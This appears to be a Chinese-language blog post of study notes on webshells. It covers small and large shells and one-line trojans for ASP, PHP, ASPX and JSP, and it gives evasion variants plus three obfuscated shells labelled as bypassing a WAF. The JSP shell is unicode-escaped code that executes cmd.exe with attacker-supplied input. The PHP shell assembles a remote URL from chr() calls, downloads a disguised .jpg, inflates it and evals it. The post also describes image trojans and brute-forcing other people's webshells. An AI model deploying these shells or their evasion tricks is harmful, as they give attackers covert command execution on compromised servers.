webshell学习
参考文章:
https://www.bilibili.com/video/BV1T4411t7BW?p=14
https://blog.csdn.net/mmmsss987/article/details/90460403
对Webshell一直没有一个清楚的理解,就知道直接写马进去,权限不够在换大马,昨天正好看到了webshell的视频,就写个文章记录一下。
webshell的分类
小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能。
不过中国菜刀留的一句话功能不逊大马的功能。
大马体积比较大 一般50K以上。功能也多,一般都包括提权命令,磁盘管理,数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序。
小马的作用就是为了上传大马进行提权,一般都是小马权限不够,才用小马上传大马提升权限
现在大家普遍使用的就是一句话木马,基本上都是这个,只是稍微有点变形,比如说插入到图片中做成 图片马
一句话木马
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
<%execute request("value")%>
原理:一句话木马分为两部分,一部分是执行函数,一部分是传参方式,(比如说GET,POST,COOKIE 或者REQUEST,,)后面大家所说的密码也就是上一行中的 value ,其实是传参时候接受参数的名称 比如说 xxx.com/xx.php?value= '菜刀传过来的命令'
WAF : 现在的waf拦截基本上都是基于特征匹配,比如说匹配到 execute 或者 eval 函数就拦截
asp一句话木马:
<%eval request("c")%>
php一句话木马:
<?php@eval($_POST[value]);?>
aspx一句话木马:
<%@Page Language="Jscript" %>
<%eval(Request.ltem["value"])%> asp和aspx的区别就是aspx可以直接调用cmd,asp不可以,但是一般waf对aspx的过滤比较严格
jsp一句话
<% if(request. getParameter("f")!=null)(ne w java. io. FileOutputStream(application.getRealPath("/")+request.getParameter("f")))
.write(request. getParameter("t"). getBytes();%>
这个asp,php,jsp都是相对而言的,比如说你一个asp的站点,但是可以对PHP进行解析,你同样可以上传PHP的马,
一句话木马简单变形
waf对eval函数进行了拦截 <?php $_REQUEST['a']($_REQUEST['b']) ; ?> xxx.com/a.php?a=eval&b=phpinfo 这个实际构造的就是 <?php eval(phpinfo); ?> 现在不能绕过了。。
对引号进行了过滤 <?%Eval (Request(chr(112)))%?>
这里需要注意的一点就是 asp加密的一句话
┼攠数畣整爠焕敌瑳∨≡┩忾 密码 a
使用条件:正常情况下, asp网站access数据库文件的后缀名应该为 data.mdb 但是加密之后的数据库 后缀为 data.asp 说明这个数据库是加密的,这时候直接把一句话插入数据库中,比如说注册用户的时候加进去,直接就拿shell
一句话图片马的制作
分类中有篇文章有详细写
最新webshell大合集
https://blog.csdn.net/mmmsss987/article/details/90460403
附上几个过狗的马 时间是 2019.9.18
ASPX
<%@ Page Language="Jscript"%>
<%
var p = Request.Item["M"];
var a = p.substring(0,1);
var b = p.substring(1,99999);
var c = "un" + Char ( 115 ) + Char ( 97 ) + "fe";
eval(a+b,c);
%>
JSP
<%@ page import="java.util.*,java.io.*,java.net.*"%> <%
\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0022\u0043\u006f\u006d\u006d\u0061\u006e\u0064\u003a\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0020\u002b\u0020\u0022\u005c\u006e\u003c\u0042\u0052\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0020\u0070\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0020\u002f\u0063\u0020\u0022\u0020\u002b\u0020\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u006f\u0073\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0070\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0064\u0069\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0044\u0061\u0074\u0061\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0069\u006e\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0020\u0028\u0020\u0064\u0069\u0073\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u0064\u0069\u0073\u0072\u0029\u003b\u0020\u0064\u0069\u0073\u0072\u0020\u003d\u0020\u0064\u0069\u0073\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u003b\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d
%>
PHP
<?php
$password='haha';//登录密码
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58);
$url.=$c(47).$c(47).$c(97).$c(101).$c(48).$c(49);
$url.=$c(46).$c(97).$c(108).$c(105).$c(99).$c(100);
$url.=$c(110).$c(46).$c(99).$c(111).$c(109).$c(47);
$url.=$c(107).$c(102).$c(47).$c(72).$c(50).$c(53);
$url.=$c(56).$c(49).$c(97).$c(54).$c(99).$c(97).$c(100);
$url.=$c(48).$c(54).$c(49).$c(52).$c(48).$c(53).$c(49);
$url.=$c(57).$c(50).$c(101).$c(100).$c(99).$c(54).$c(101);
$url.=$c(55).$c(102).$c(51).$c(56).$c(55).$c(53).$c(50);
$url.=$c(48).$c(53).$c(78).$c(46).$c(106).$c(112).$c(103);
$get=$c(102).$c(105).$c(108).$c(101).$c(95);
$get.=$c(103).$c(101).$c(116).$c(95).$c(99);
$get.=$c(111).$c(110).$c(116).hex2bin('656E');
$get.=$c(116).$c(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).hex2bin('7465');
@eval($un($_SESSION['PhpCode']));
?>
webshell使用技巧
配合解析漏洞 一般是配合图片马进行上传,(图片马你光上传,不解析也是没有作用的,必须解析才会起到作用)
配合文件包含
利用文件名溢出
看了很多文章,都是在后台管理员界面上传图像或者其它的文件getshell
这个文件包含是什么意思呢?你上传了一个ima.jpg图片马,但是没法运行,你只能在上传一个b.asp文件,让ima.jpg在b.asp中运行,这样就能让图片马正常运行了
需要注意
asp,aspx,php都是可以直接用菜刀连接的,但是jsp不行,jsp的一句话太大,有时候比大马都大,
cracer讲的是 先上传个一句话或者小马,然后在把菜刀目录下customize.jsp中的代码上传?????(应该就是借助小马上传大马)
jsp一般权限比较大,基本上都是最高权限
需要注意
一点的就是,找到了别人的webshell,可以用工具去暴力破解,在cracer的工具包里面有工具。一句话木马用k8的那个工具,大马用图中的webshell这个工具,当然,也可用bp来跑
查找webshell后门
这个就有点坑了,你辛辛苦苦拿下的站,结果被别人,日了
首先他留这个后门目的就是获取你 连接shell的地址和你连接shell的密码
可以参考下这个视频,前几年hack70发布的
https://www.bilibili.com/video/BV1D4411e7WW?p=2
webshell学习的更多相关文章
- 2019-11-7:sql注入防御,webshell概念,学习笔记
sql注入防护GPC,magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post.get.cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特 ...
- 变量覆盖漏洞学习及在webshell中的运用
一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...
- Msfvenom学习总结-MSF反弹webshell
1. –p (- -payload-options) 添加载荷payload. 载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填 ...
- Compiler Theory(编译原理)、词法/语法/AST/中间代码优化在Webshell检测上的应用
catalog . 引论 . 构建一个编译器的相关科学 . 程序设计语言基础 . 一个简单的语法制导翻译器 . 简单表达式的翻译器(源代码示例) . 词法分析 . 生成中间代码 . 词法分析器的实现 ...
- 高版本正方教务系统上传后缀过滤不严导致能直接上传Webshell
在旧版本中有一个利用插件上传文件的漏洞,但是在新版本中已经没有了这个插件.这个漏洞是由于过滤不严造成的,可以直接上传Webshell进行提权,由于代码在DLL中,全国大部分高校均有此漏洞,影响范围很大 ...
- Deformity PHP Webshell、Webshell Hidden Learning
目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...
- 什么是webshell?
webshell是web入侵的脚本攻击工具. 简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中 ...
- 最强黑吃黑:WEBSHELL大马隐藏万能密码大全
因为很多原因,很多新手都不会编写自己的大马,大多数新手都会通过百度去下载对应脚本的大马,然而这些webshell大马都是早期流传出来的,基本上都存在后门,可以通过万能密码登录,即使你修改i过密码了,怎 ...
- 【渗透攻防】千变万化的WebShell
前言WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.本篇文章将带大家学习如何获取WebShell,如何隐藏WebShell,有 ...
随机推荐
- 全面解析RayFire的动态对象与静态对象
我们在日常使用RayFire的过程中,接触得比较多的应该就是RayFire的对象设置了.RayFire的对象包含了动态对象.静态对象与休眠对象,其中动态对象.静态对象可以结合动力学.运动学概念设置动作 ...
- 3dmax利用静止静态对象功能,制作精准击碎效果
一般情况下,当我们在3D建模中使用RayFire破碎插件来制作一些精准击碎效果时,需要将物体的击中部分定义为休眠对象,将其他未击中的部分定义为静态对象,以实现击中部分出现碎片的效果.但这种方式必须精准 ...
- jenkins 中邮件发送
1.安装插件 jenkins中安装邮件插件,选择Email Extension 2.开启smtp服务,每个客户端的设置不一样,下图是qq邮箱,仅供参考 3.设置邮件服务 3.1系统设置 3.2 在任务 ...
- MySQL给临时表分组后Max函数无效
有道练习题"取得平均薪水最高的部门的部门编号(至少给出两种解决方案)", 为什么我给临时表分组后Max函数就无效了?不分组就可以,但是无法查询到DEPTNO,MySQL版本8.0+ ...
- LeetCode双周赛#36
1604. 警告一小时内使用相同员工卡大于等于三次的人 题目链接 题意 给定两个字符串数组keyName和keyTime,分别表示名字为keytime[i]的人,在某一天内使用员工卡的时间(格式为24 ...
- 「刷题笔记」哈希,kmp,trie
Bovine Genomics 暴力 str hash+dp 设\(dp[i][j]\)为前\(i\)组匹配到第\(j\)位的方案数,则转移方程 \[dp[i][j+l]+=dp[i-1][j] \] ...
- oracle set oracle_sid=xxxxxx
本地有多个实例,在cmd 输入 set oracle_sid=xxxxx 来指定要连接的实例 sqlplus xxxx/xxxx@1.1.1.1.1/sid 连接数据库
- oracle 游标相关资料
游标 概述:游标是系统为用户开设的一个数据缓冲区,存放 SQL 语句的执行结果. 我们可以把游标理解为 PL/SQL 中的结果集,把游标当中一个集合 1:在声明区声明游标 cursor 游标名称 is ...
- PyQt(Python+Qt)学习随笔:QTableWidget的findItems和selectedItems搜索项和访问选中项方法
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 1.搜索项 在表格部件中,可以根据文本以及匹配模式来搜索满足条件的项,调用语法: list[QTab ...
- PyQt(Python+Qt)学习随笔:Qt Designer中主窗口对象的dockOptions属性
dockOptions属性代表主窗口对浮动部件停靠的反应,其类型为枚举类型QMainWindow.DockOptions.相关取值及含义如下: 这些枚举值可以组合使用,仅控制如何在QMainWindo ...